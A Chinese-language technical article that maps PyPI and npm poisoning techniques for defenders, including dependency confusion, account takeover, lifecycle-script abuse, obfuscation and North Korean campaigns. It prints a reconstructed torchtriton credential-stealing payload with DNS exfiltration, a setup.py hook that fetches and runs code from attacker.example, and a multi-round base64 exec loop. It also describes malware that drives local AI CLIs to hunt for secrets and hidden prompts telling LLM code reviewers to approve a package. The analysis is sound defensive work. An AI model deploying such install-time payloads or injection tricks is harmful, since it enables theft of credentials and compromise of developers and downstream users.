攻击方视角:PyPI / npm 投毒技术深度图谱
系列第 2 篇 · 资深安全开发向 · 约 7000 字
编辑日期:2026-05-05
如果说第 01 篇我们站在生态全景上回答「为什么开源依赖是当代企业最大的可达攻击面」,那么本篇要切换到攻击者的工位:他们用什么工具、走什么路径、靠什么逃避检测。我们按攻击向量梳理九大类技战术——从最朴素的 Typosquatting 到 LLM 幻觉催生的 Slopsquatting,从 Birsan 2021 PoC 让企业 SOC 集体破防的 Dependency Confusion,到 XZ utils 中横跨两年的「长期社工 + 共维护者权限」上山套路,再到 Shai-Hulud 这种把维护者 token 当作蠕虫养料、把秘密泼到公开 GitHub repo 上的"裸奔型"自动化攻击。每一节都按"定义/原理 → 典型 TTP → 真实公开案例 → 检测难点"四段写满,并用可读的 payload 片段还原代码层细节。事件本身留待第 03 篇做时间线复盘——本篇只把它们当作向量样本,让架构师能从攻击模型反推自己的纵深防御。
1. Typosquatting 与 Slopsquatting:从手抖到 LLM 幻觉
1.1 经典 Typosquatting
定义与原理。攻击者注册与目标包仅有一两个字符差异的包名(拼写错位、连字符、单复数、unicode confusables),等待开发者输错或被自动补全推荐时拉到攻击者控制的版本。生命周期通常以小时计,仓库管理员清理一次只能压制一波;但运营成本极低,一个攻击者批处理脚本一晚能抢注几百个变体,是供应链投毒的"水平噪声"。
典型 TTP:
- 字符替换/翻转:
requets→requests、urlib3→urllib3、colorama-py→colorama、selemium→selenium,过去两年的 ReversingLabs 月度报告反复出现这些变体来源。 - 命名空间混淆:把公开包重新打包为带组织前缀的"克隆版",例如
node-hide-console-windows仿冒node-hide-console-window,安装后下载 Discord bot 并植入 r77 rootkit来源。 - 视觉相近字符:用西里尔
а、希腊ο等 Unicode confusables 仿冒 ASCII 拉丁字母;npm 在 2017–2019 间多次紧急清理。 - 跨生态联动:2025-06 The Hacker News 披露的同一团伙在 npm/PyPI/Ruby 上同步注册同名 typosquat来源,意味着攻击者已经把"输错"做成多生态广撒网产品。
真实公开案例。除了 node-hide-console-windows,Sonatype 在 State of the Software Supply Chain 2024 报告中累计标记了 70 万+ 个跨 npm/PyPI/Maven 的恶意包,2024 同比增长 156%,绝大多数是 typosquat 与衍生变体来源。Ultralytics 攻击事件中,恶意 8.3.41 在 PyPI 上仅存活 12 小时就被清理来源,但即便如此,下游通过镜像和 Docker 缓存仍持续被污染数日。
检测难点:
- 元数据不可分辨。良性变体(
requests-toolbelt)和恶意变体(requets)在 README、license、authors 字段上几乎无差异,需要"包名相似度 + 维护者信誉 + 发布频率 + 行为差异"做联合判定。 - 时间窗口短。传统 SCA 是"基于已知列表"的事后扫描,恶意包 4–12 小时窗口内还来不及进入数据库就被清理,事中防御几乎只能靠 registry 端实时检测。
- CDN 与镜像延迟。企业内网 mirror、Docker 缓存、Nexus 私服会让"已下架的恶意包"继续被拉取数日;即使 npm 删除了,Artifactory 上还在。
- Damerau–Levenshtein 黑名单不可扩展。简单距离阈值会把大量合法包(
eslint-utils、requests-toolbelt)拉入误报,必须结合维护者关系图判断。
1.2 Slopsquatting:LLM 幻觉的副产品
Slopsquatting 是 2024–2025 才被系统命名的新变种:攻击者不再赌"开发者会手抖",而是赌"LLM 会幻觉"。其原理建立在大模型生成代码时会虚构不存在的包名这一稳定特性上——攻击者只要去 PyPI/npm 抢注这些幻觉名,就坐等 AI 编程助手把开发者送上门。
学术研究给出的数据相当惊人。研究人员用 576,000 条代码生成样例跑主流 LLM,发现 19.7% 推荐包名根本不存在于 npm/PyPI;开源模型幻觉率 21.7%,商用模型 5.2%;CodeLlama 7B/34B 高达 33%+,GPT-4 Turbo 也有 3.59%。更关键的是:同一 prompt 跑 10 次仍稳定输出同一幻觉名的占 43%,意味着只要抢注一次,命中率长期可重复来源。研究者注册无害的 huggingface-cli 占位包(这是 LLM 高频幻觉名),3 个月吸引到 30,000+ 次 真实下载来源。Snyk 已经把 Slopsquatting 缓解列为独立 advisory 主题来源。
检测难点主要在工程入口前移:传统 SCA 在"已经写在 requirements.txt / package.json"的环节做事后扫描,但 Slopsquatting 攻击发生在 LLM 推荐 → 开发者粘贴 → pip install 这条链路上,本质需要在 prompt-time 校验包名是否真实存在、年龄是否合理、维护者是否可信。这条链路目前几乎是空的。
2. Dependency Confusion:解析顺序的胜利
2.1 原理
包管理器在解析依赖时,如果公共仓库与私有 registry 同时存在同名包,多数工具默认按"最高版本号优先"或"public-first"取包。攻击者只需在公共 registry 抢注同名包并设置极高版本号(如 9.9.9),即可让企业 CI/CD 在内部构建时自动拉取攻击者版本——零交互、零异常告警,build 看上去完全成功。这条攻击面之所以经典,是因为它利用的不是漏洞,而是包管理器的默认行为,"修复"几乎等于"重写依赖解析协议"。
2.2 Birsan 2021 PoC
Alex Birsan 2021 年的工作奠定了这一向量的安全研究地位。他的方法论简洁但完整:
- 情报收集:从 GitHub 公开 repo、内嵌 JavaScript 文件、
package.json残留、构建错误日志、Docker 镜像层中刮取目标公司的"内部包名"(这些包名本应只在私有 registry 出现,但因为代码上传不严格大量泄露在公网)。 - 抢注:用临时邮箱在 npm/PyPI/RubyGems 注册同名包,version 设成
9.9.9或99.99.99这种"必赢"号。 - 触发:在包内设置 lifecycle script,被安装时 phone home,DNS 外发受害主机指纹。
最终他在 Apple、Microsoft、PayPal、Shopify、Netflix、Yelp、Tesla、Uber 等 35 家公司命中,累计获得 $130,000+ bug bounty(Microsoft $40k、Apple/Shopify/PayPal 各 $30k)来源来源。这是迄今唯一一次"个人研究员一次研究让全球 SOC 集体停下来开会"的事件。
2.3 torchtriton(2022-12):从 PoC 到真实案例
入侵路径。PyTorch nightly 自家私有 index 上托管了一个名为 torchtriton 的内部包;攻击者把同名包上传到公共 PyPI。pip 默认 public-first,导致 2022-12-25 至 12-30 期间所有用 pip install --pre torch torchvision torchaudio --index-url https://download.pytorch.org/whl/nightly/cpu 安装 nightly Linux 版的用户被悄然安装了恶意 torchtriton来源。
恶意 payload。包内执行体对系统进行了相当系统的资产盘查:
# 简化伪代码(基于 PyTorch 官方公告与 Aqua 分析复原)
import os, socket, getpass
data = {
"ns": open("/etc/resolv.conf").read(),
"host": socket.gethostname(),
"user": getpass.getuser(),
"pwd": os.getcwd(),
"env": dict(os.environ),
"hosts": open("/etc/hosts").read(),
"passwd": open("/etc/passwd").read(),
"gitconfig": open(os.path.expanduser("~/.gitconfig")).read(),
"ssh": list_files(os.path.expanduser("~/.ssh")), # 含私钥
}
# 首字节 RC4 简单加密后通过 DNS 子域 *.h4ck[.]cfd 外发
恶意包被下载 3,000+ 次后下架;攻击者声称是"安全研究",但行为已远超授权研究边界,公开取证显示 SSH 私钥与 Git 凭据被批量回传到 *.h4ck[.]cfd来源来源。
检测难点:
- 解析逻辑因工具而异。npm 的
--registry、pip 的--index-url与--extra-index-url行为差异、Maven 仓库优先级——大多数企业默认配置都是错的。pip 23.x 起才提供显式的--index-strategy unsafe-best-match/safe-first-match选项让用户选择解析策略,至今很多 CI 模板还在用旧默认值。 - 正负样本难区分。仅靠"包是否存在公共 registry"不足以判定恶意,必须联合"是否同时存在私有同名 + 版本号差异 + 维护者新建账号 + 上传时间窗"等多元信号。
- 短时间窗 + 缓存污染。攻击者发布的高版本号包通常在数小时内被清理,事后日志难以重现,但 Nexus / Artifactory / Docker layer 缓存里可能留存数月。
3. Brandjacking 与 Combosquatting:搭便车的合法外观
如果 Typosquatting 是赌"输错",Brandjacking 与 Combosquatting 则是更"正面地"搭便车——攻击者把合法品牌词与可信后缀(-js、-utils、-core、-async、-server、-sdk、-helper)拼接,伪装成"官方扩展"或"社区周边"。开发者在 npm/PyPI 搜索框看到 lodash-utils、requests-helper 时,往往误以为是同一组织维护。
典型 TTP:
- 后缀拼装:
lodash→lodash-js/lodash-utils/lodash-core;针对 Roblox 开发者的noblox.js→noblox.js-async/noblox.js-proxy-server来源。 - 影子组织:注册看起来像企业 scope 的命名空间(如
@aws-sdk-utils),让企业内部研发误以为是 AWS 官方扩展。 - SEO + AI 助手联动:把名字调成"听起来权威"+ 简介复用官方文案 + GitHub 上发"看起来活跃"的虚构 issue + star/fork 互刷,让搜索引擎与 LLM 都把它推得更高。
真实公开案例:
- 2017 npm
crossenv(与cross-env处于 typosquat 与 brandjack 的边界),700+ 主机被命中。 - 2024–2025 Lazarus 仿冒开发者工具:Sonatype 关联 234 个 npm/PyPI 恶意包,模仿可信工具链,潜在受害 36,000+,多组包名设计成"看起来是知名开发库的官方扩展"来源。
- 2026-02
dYdX仿冒包跨 npm + PyPI 投递钱包窃取与 RAT,使用了dydx-utils、dydx-helper等组合命名来源。
检测难点:
- 词法相似度算法不灵敏。Damerau–Levenshtein、phonetic、unicode confusables 三类算法对带后缀变体几乎都失效,需要"品牌-后缀-语义"三维相似度,最好是把 npm 全量包名做向量化,做近邻检索。
- 白名单成本高。部分合法包同样使用
-utils/-helper后缀(如eslint-utils是正版),白名单需要持续维护。 - 批量行为信号弱。单个 brandjack 包看似可疑但难定性,必须看"姓名星座"——同一作者在同一时间窗发布几十个相似变体,才是高置信信号。
4. Maintainer Compromise:合法身份,新的实控人
4.1 与 ATO 的边界
维护者妥协(Maintainer Compromise)和账号劫持(ATO)经常被混用,但两者在治理上有本质区别:ATO 中维护者主体没变,是凭据被偷;Maintainer Compromise 中账号没被劫持,但发布者主体(实际控制人)变了。前者是身份盗用,后者是身份转移。后者的危险在于——它在协议层面完全合法。
4.2 典型 TTP
- 自愿转交。原作者"维护无力",攻击者主动表达"愿接手",几次 PR 后顺利获得 publish 权——这是 event-stream 最经典的范本来源。
- 过期域名/邮箱接管。维护者注册邮箱所在域名过期,攻击者抢注域名后通过邮箱重置密码(ctx/phpass 模式)来源。
- 长期社工。以多个虚假身份制造"维护压力",迫使原作者添加共同维护者(XZ utils 的 Jia Tan 模式)来源。
- 买断与"捐赠"硬件。少数 case 中攻击者以收购或赞助名义获取发布权,行业流传但多数未公开取证。
4.3 event-stream(2018)
event-stream 的故事是任何讨论 OSS 治理的人都绕不过去的样本。维护者 Dominic Tarr 接受 GitHub 用户 right9ctrl 的接管请求并转交 npm publish 权;新维护者添加 flatmap-stream 依赖;payload 用目标包 ID 作 AES key,仅在 Copay 钱包构建上下文中解密,监听余额 ≥100 BTC 或 ≥1000 BCH 的账户,导出私钥外发。整个攻击链潜伏 2.5 个月,直到用户 Ayrton Sparling 在 GitHub issue #116 公开质疑才被披露来源。学术界后来还专门做了系统化分析来源。
4.4 ctx / phpass(2022):邮箱域名过期就是钥匙
PyPI 上的 ctx 自 2014 年最后一次发布后沉睡 8 年,但累计下载达数百万次。研究员发现维护者邮箱所属域名过期,购买后用邮箱重置 PyPI 密码,然后发布 ctx 0.1.2、0.2.2 等含恶意 payload 的版本,回传 os.environ 至远端 Heroku 端点;同期 phpass 走相同剧本,针对性提取 AWS_ACCESS_KEY 与 AWS_SECRET_KEY来源。"废弃但流量大"的包是攻击窗口的金矿,PyPI 此后引入"账户接管检测"——当邮箱域名 MX 改变时触发额外验证,但落地有限。
4.5 XZ utils(2024):长期社工的工艺品
XZ 案严格意义上是 Linux distro 级供应链攻击,但其手法对 npm/PyPI 域有极强警示价值。时间线非常长:
- 2021 年:用户
JiaT75 (Jia Tan)在 GitHub 注册账号,开始向 xz-devel 提交 patch。 - 2022 年:
Jigar Kumar、krygorin4545、misoeater91、Dennis Ens等"幽灵账号"在邮件列表持续施压,要求原维护者 Lasse Collin 添加共维护者。 - 2023-03:Jia Tan 发布 5.4.2,正式以共维护者身份签出版本。
- 2024-01-22:第一笔后门 commit 进入仓库。
- 2024-03-29:Microsoft PostgreSQL 工程师 Andres Freund 调查 sshd 性能异常时发现后门,向 oss-security 邮件列表披露;CVE-2024-3094 当日被分配 CVSS 10.0来源。
后门隐藏在 release tarball 的 build-to-host.m4 m4 钩子和二进制测试 fixture 中(git 仓库里看不到),编译时拼装出 sshd 内的 RCE 后门,攻击者持有特定 Ed448 私钥可远程命令执行来源。这是迄今"信誉建立 → 接管 → 后门"模板的最完整工艺品——两年时间投入对国家级行为体显然是常态。
4.6 检测难点
- 治理边界模糊。开源项目"维护者更替"是常态,几乎没有审计标准,平台没有"实质控制人变更" KYC。
- 时间维度长。XZ 案中合法 commit 与社工铺垫历时两年,传统 SCA 数据库无法捕捉。
- 难以定责。原维护者主观无恶意,发布行为合规,传统"作者信誉"模型失效。
- 信任继承。下游千万级项目继承同一身份,无法通过签名证书"按维护者身份"做撤销——签名仍然有效,只是签名背后的人已经换了。
- tarball ≠ git。XZ 已证明:审计 git 远远不够,必须比对发布 artifact 与上游 VCS 内容;测试 fixture / sample 也是绝佳藏匿点,npm/PyPI 包内的同类目录同样应成为扫描重点。
5. Account Takeover:从撞库到 AitM 钓鱼,再到蠕虫化
5.1 典型 TTP
ATO 的攻击链有四条主路:
- AitM 钓鱼。仿冒
npmjs.help域名,伪装"安全告警 / 2FA 即将过期",让维护者在伪装站填写 OTP,TOTP 实时被中继到真站登录来源。 - token 泄露。开发者把
~/.npmrc里的_authTokenpush 到公开 repo / Docker 镜像层;GitGuardian、TruffleHog 这类扫描器一直在批量发现。 - CI 工件泄露。CI 日志、构建缓存、artifact 内含 PyPI/npm token;攻击者拿到后可"无密码"发布。
- OAuth/device-code phishing。让维护者通过"设备登录"流程授权攻击者控制的应用。
5.2 ua-parser-js(2021)
维护者 Faisal Salman 账号被劫持,2021-10-22 12:15 GMT 上线恶意 0.7.29,约 4 小时后维护者发现并下架。攻击者在版本中加入 preinstall.js / preinstall.bat / preinstall.sh,根据 OS 决定下发 Windows trojan 或 Linux Monero miner(XMRig)来源。ua-parser-js 周下载 800 万+ 次,Facebook、Microsoft、Apple、Reddit、IBM、Slack、Disney、Verizon、Yahoo、Box、HPE、Bitwarden、Salesforce 等均在依赖图中——CISA 罕见地对单个 npm 包发警告,事件直接推动 npm 2022 年全面铺开强制 2FA来源。
5.3 LottieFiles(2024-10):私人邮箱钓鱼是入口
攻击者向 LottieFiles 一名维护者的私人 Gmail 发送高仿钓鱼邮件,维护者在伪装站填写 npm 凭据 + 2FA 验证码,攻击者借合法账户发布 @lottiefiles/lottie-player 2.0.5 / 2.0.6 / 2.0.7。恶意 payload 仅在浏览器加载时 hook window.ethereum 触发"连接你的钱包"诱导 popup,dev console 看不到,开发者本地难以察觉。事件中至少一名受害者报告损失 约 $723k BTC来源来源。lottie-player 通过 unpkg/jsDelivr 等 CDN 在大量未版本 pin 的网站上自动升级,外溢到一般用户的浏览器——CDN + 未 pin 版本就是一条"前端零交互供应链"。
5.4 The Great NPM Heist(2025-09)
Qix-(Josh Junon)账户被钓鱼,debug / chalk 等 18+ 基础包被注入加密货币钱包劫持代码,影响周下载 20 亿次量级;攻击者通过 support@npmjs.help 仿冒域名 + AitM 拿到 2FA来源来源。这次事件证明 TOTP 不是终点——必须 WebAuthn / passkey 才能挡住 AitM。
5.5 Shai-Hulud:把 ATO 蠕虫化
Shai-Hulud 是 npm 生态有公开记录以来"自动传播"最成熟的供应链攻击。攻击始于一次 ATO 钓鱼拿到第一个高权限维护者的 npm token;落地的 bundle.js 在 postinstall 阶段做三件事:
- 调用 TruffleHog 扫开发者本地秘密(云密钥、GitHub PAT、SSH key)。
- 枚举 IMDS /
AWS_*环境变量。 - 把结果写入名为
Shai-Hulud的公开 GitHub repo——这是 LLM 时代的新模式:"任何能写公开 repo 的 token 都成 C2"。
最关键的环节是第四步:用偷到的 npm token 在被害维护者所有其他包中递归植入相同的 bundle.js 并发布新 patch 版本,实现自我复制。Unit 42 中等置信判定 payload 中的 bash 部分由 LLM 生成(注释、emoji 风格异常)来源。CISA 在 2025-09-23 发布 npm 生态广泛 compromise 警告来源,至 2025-11 月 Truesec 报告累计感染 500+ 包来源。
5.6 检测难点
- 协议层不可分辨。ATO 发布与正常发布在协议层面没有任何差异;npm/PyPI 不要求强 KYC,2FA 也能被 AitM 绕过——直到全面强制 WebAuthn / passkey 才显著缓解。
- token 泄露面广。Docker 镜像、CI 日志、构建产物、个人 dotfile,扫描覆盖度难以做到 100%。
- 设备指纹不稳。维护者地理位置和设备指纹常变化(出差、更换设备),仅靠异常登录难以判定。
- 下游唯一信号是行为差异。版本号合法、签名链合法(npm 历史上无强制签名),下游唯一可观察的是 lifecycle 脚本是否新增、依赖树是否突变。
6. Post-install / lifecycle scripts 滥用
6.1 攻击面定义
包管理器允许包在安装阶段执行任意脚本——这是"安装即执行"模型最大也最具争议的攻击面:
- npm 的
preinstall/install/postinstall(package.jsonscripts)。 - PyPI 通过
setup.py自定义cmdclass(build、install、develop)注入运行任意 Python;PEP 517 的 build backend 也可以被滥用。 - Conda、Poetry、Bun 也保留了相似 hook。
6.2 npm 范例
最朴素的 npm postinstall 看起来就这么一行:
{
"name": "harmless-utils",
"version": "0.0.1",
"scripts": {
"postinstall": "node ./payload.js"
}
}
payload.js 可以是 base64+eval 解码出来的 stager,下一步连 C2 拉真正的 RAT。Shai-Hulud 2.0 的关键演化在于把执行点从 postinstall 前移到 preinstall——这意味着 npm ci、Dockerfile build 阶段都会触发,扩大了 CI 影响面来源。
6.3 PyPI setup.py:图灵完备的安装时机
PyPI 的玩法更"自由":
# setup.py(简化)
from setuptools import setup
from setuptools.command.install import install
class CustomInstall(install):
def run(self):
import os, urllib.request
# 静默拉取并执行 stage-2
urllib.request.urlretrieve("https://attacker.example/x", "/tmp/x")
os.system("/tmp/x &")
install.run(self)
setup(name="harmless-pkg", version="0.0.1",
cmdclass={"install": CustomInstall})
pip 默认会执行(除非 --use-pep517 走 wheel 渠道才能避开 build 阶段执行)。Ultralytics 8.3.41/42/45/46 就是在 PyPI 包内通过 setup.py / wheel 引入 XMRig 矿工,安装即触发来源来源。新型 wheel-side 攻击则通过恶意 wheel 的 *.dist-info/RECORD 配合 entry_points 注入 import 时执行的代码——比 setup.py 更难发现。
6.4 检测难点
- 安装时执行是"功能特性"而非漏洞。全量禁用会影响 native addon 编译、wheel 构建。
--ignore-scripts不是普遍可用。命令行可缓解,但项目依赖 native build 时不能用,CI 模板里被频繁手动恢复。- 2% 噪声里找 0.01% 信号。学术研究指出大约 2% 的 npm 包定义了 install scripts,但其中绝大多数是合法用途(如
node-gyp编译);必须做"行为而非存在"的判定。 - setup.py 是图灵完备的。静态分析难以判定,需要在沙箱中动态执行;但攻击者对沙箱有反制(无网络则不解密 payload)——见下一节。
7. 混淆、隐藏与反沙箱:让代码在被审视时沉默
恶意代码在落地前几乎都会做"代码隐写 + 触发约束",目的有三:通过自动化 SCA 静态扫描、规避研究人员沙箱、保留对真实受害者的精准命中。
7.1 编码与多层加壳
- 静态层:Base64、Hex、Unicode confusable、AST 重写、字符串切片再
chr()拼接。 - 动态执行:
eval()/Function()/exec()加载远端 payload,让静态扫描看不到真正逻辑来源。 - 多层迭代:dYdX 仿冒包内观察到 100 轮迭代解码:
import base64
code = "<encoded>"
for _ in range(100):
code = base64.b64decode(code)
exec(code)
100 轮看似冗余,实则有效——因为多数自动化扫描器会在前几轮放弃来源。
7.2 Time-bomb 与 target-fence
- 时间炸弹:基于日期、版本号、特定母包版本号触发(colors.js v1.4.44-liberty-2 仅在该版本触发死循环)来源。
- 目标围栏:仅在特定时区、域名后缀、CI runner ID、私有 IP 段触发——event-stream 仅在 Copay 项目命中,payload 用目标包 ID 作 AES key,没有正确的母包根本解不开来源。
- 加密 gating:恶意 payload 加密在测试 fixture,需 Copay 的 npm 包 ID 作密钥才能解密——典型 target-fence + crypto gating来源。
7.3 反沙箱 / 反分析
- 环境检测:检测 hostname 是否含
sandbox/virtual/docker,进程数、CPU 数过低则休眠;检测是否存在常见研究员目录(/home/researcher)。 - 调试器检测:检查是否被 Wireshark/Frida/Process Monitor hook,检测调试器、断点、
ptrace。 - 浏览器端 only:LottieFiles 案中 payload 仅在浏览器加载时 hook
window.ethereum触发,dev console 无法直接看到来源。 - 超大文件混淆:Shai-Hulud 2.0 的
bun_environment.js超过 10 MB,使用极端混淆——传统 SCA 工具的解析器在这个尺寸下要么 OOM 要么直接超时跳过来源。
7.4 tarball ≠ git
XZ utils 的恶意 payload 隐藏在 m4 build 脚本与二进制测试 fixture,tar.gz 与 git repo 不一致——逃逸所有"看 git 就够了"的审计假设来源。这是个被低估的元方法:很多 SCA 厂商索引的是 GitHub 源,但安装链路使用的是 npm/PyPI 上的 tarball/wheel,两者可以不同。
7.5 LLM 痕迹
Unit 42 评估 Shai-Hulud 的 bash payload 由 LLM 生成(中等置信度),原因是注释、表情符与代码风格不一致来源;Darktrace 研判 React2Shell 也具有 LLM 生成痕迹来源。这反过来形成新的检测信号——但攻击者也已经知道,并开始用 LLM 进行"人格化润色"。
8. APT 国家级供应链攻击:朝鲜把 npm 当作工厂
8.1 Lazarus Group(朝鲜,APT38 / Hidden Cobra)
长期主攻金融机构与加密货币领域。3CX 双重供应链(2023)是其代表作:先入侵 Trading Technologies 的 X_TRADER 软件,借此渗透 3CX 内网,篡改 ffmpeg.dll 与 d3dcompiler_47.dll,用合法 3CX 代码签名证书签出木马化 Electron 应用,通过自动更新分发到 60 万+ 客户、1200 万日活终端来源来源。这是史上首例公开"双重供应链"——上游被入侵的供应商本身又是另一个供应商的下游。Mandiant 分析显示真正"高价值"目标为加密货币与金融机构,ICONICSTEALER 主要窃取浏览器中的加密钱包数据。
8.2 Contagious Interview / DeceptiveDevelopment / Tenacious Pungsan(MITRE G1052)
朝鲜组织自 2023 年起活跃,"假面试 + 编程作业 + 假 npm 包"的工厂化模式。自 2025-07 起,至少 338 个 npm 恶意包,累计下载 50,000+ 次,以 HexEval Loader → BeaverTail → InvisibleFerret 三段式投递来源来源。商业链条值得深思:偷取的开发者身份信息会被朝鲜 IT-worker 用来骗取西方公司远程岗位——攻击者一边用 npm 包种 RAT,一边用偷来的身份去面试拿薪水来源。
8.3 Moonstone Sleet(朝鲜,Microsoft 命名)
2024-05 由 Microsoft 公开披露,混合多种技术。2024-07-07 npm 用户 nagasiren978 发布 harthat-hash、harthat-api,从 C2 拉取下一阶段 payload来源。该组织还自研勒索软件 FakePenny,单次勒索 $6.6M USD/BTC——APT 不再只做长期窃密,也做现金流攻击。
8.4 Sapphire Sleet(朝鲜):axios 事件归因
2026-03-31 axios npm compromise 是 npm 生态最大的"头部基础包被攻击"事件之一。axios 周下载 7000 万+,是 npm 头部 HTTP 客户端。攻击通过维护者账号被盗 → postinstall hook → 跨平台 RAT,覆盖 macOS / Windows / Linux。Microsoft Threat Intelligence 归因到朝鲜国家级行为体 Sapphire Sleet来源来源。
8.5 Stressed Pungsan(朝鲜,Datadog 命名)
与 Moonstone Sleet / Contagious Interview 有重叠,2024 年同样使用 npm 作为初始访问通道,主要瞄准金融与防务承包商来源。
8.6 国家级行为体的工程范式
整体看,朝鲜系国家级行为体已实际"主导"了 npm 攻击叙事——Lazarus、Moonstone Sleet、Sapphire Sleet、Stressed Pungsan、Contagious Interview 多个分组并行,分工明确。XZ utils 的"Jia Tan"虽未被官方归因到特定国家,但多家厂商认为操作模式(多年深度社工 + 多账号配合 + 极高的工程素养)极可能是国家级。俄罗斯/伊朗迄今未在 npm/PyPI 出现公开归因的大型供应链投毒,但 SolarWinds、3CX 已展示"国家级上游供应商定向"模式可平移到包仓库。
核心启示:APT 不再依赖 0day——一次成功的钓鱼 + 一段 LLM 生成的 obfuscation + 一个被信任的包名,就能让数千 CI 在数小时内全军覆没。
9. AI 协同攻击:LLM 进入攻击链路
2024–2026 年最显著的变化是 LLM 同时进入攻击与防御两侧。攻击侧的 LLM 用法已经分化出三种独立模式。
9.1 LLM 生成 payload
Palo Alto Unit 42 与 Darktrace 都研判 s1ngularity 与 React2Shell 攻击的脚本由 LLM 生成(注释、表情符号、冗长命名等典型痕迹)来源来源。Shai-Hulud v1 的 bash payload 也被中等置信度判定为 LLM 生成来源。这说明攻击者已经把 LLM 当作"半成品代码工厂"——快速产出多个变体绕过基于规则的扫描,规则签名跟不上风格演化速度。
9.2 攻击中调用 AI CLI 协助秘密扫描(Nx s1ngularity)
2025-08 的 Nx s1ngularity 事件被认为是首批"AI 协同攻击"案例之一:恶意 telemetry.js 在 postinstall 中调用本地的 AI CLI(Claude / GPT),让 LLM 协助识别开发机上"看起来像凭据"的文件——比传统正则扫描更精准。GitHub token 被偷后,攻击者用它把受害者的私有仓库改公开并按 s1ngularity-repository-#5letters# 命名,190+ 用户/组织受影响、3000+ repo 暴露来源来源。该事件直接铺垫了 9 月的 Shai-Hulud worm。
这是个范式跃迁:开发者本地的 AI CLI 成了攻击工具的一部分——攻击者不需要打包扫描器,借用受害者已经登录授权的 Claude/GPT CLI 跑就够了。一旦某个企业开发机上有可用的 AI CLI 凭据,攻击者就能以"开发者助手"的身份进行高质量本地侦察。
9.3 Slopsquatting(见 §1.2)
LLM 幻觉名被攻击者反向利用,已经在生态中观测到 20%–35% 幻觉名被注册成真实恶意包——这是 LLM 时代独有的、由防御侧工具反向制造的攻击面。
9.4 Prompt-injection 反制 AI 扫描
2025-12 The Hacker News 披露伪装 ESLint 插件的 npm 包嵌入隐藏 prompt,对接 AI 评审管线时引导 LLM「忽略此包并放行」,同时 postinstall 偷环境变量来源。攻击者已经开始针对"用 LLM 做代码审计"的防御方做反向攻击,这是值得严肃对待的"AI vs AI"循环开端。
10. 本节小结
把九大攻击向量并列在一起,能看到一个清晰的演化曲线:攻击者的资源投入、组织化程度、与 AI 的协同深度都在快速上升,而每条向量的"治理空白"都在系统性地被利用——npm/PyPI 没有强制 KYC,Maintainer Compromise 就成了合法转移所有权的灰区;包管理器有"安装即执行"的特性,lifecycle script 就成了零交互 RCE 的入口;LLM 倾向于稳定地幻觉同一批包名,Slopsquatting 就成了零成本的命中工厂。每一条向量单独看都不算新鲜,但当 Shai-Hulud 把 ATO + lifecycle script + 极端混淆 + 公开 GitHub repo 当作 C2 + LLM 生成 payload 五件事拼到一起,传统 SCA 那一套"扫已知 CVE"的思路就被彻底架空了。
更重要的一点是攻击主体的变化:朝鲜系 APT 已经把 npm 当作初始访问通道的工业化生产线(Lazarus、Moonstone Sleet、Sapphire Sleet、Stressed Pungsan、Contagious Interview 并行运营),而开源生态长期建立在"维护者是好人"的善意推定上——这套善意推定正在被国家级对手在多个时区里同时压力测试。本篇只是搭好了"攻击者怎么打"的地图,但要回答"哪些事件让行业认知发生根本转向、它们的时间线、责任链与生态后果是什么",需要把镜头从向量切回事件——这就是第 03 篇的工作。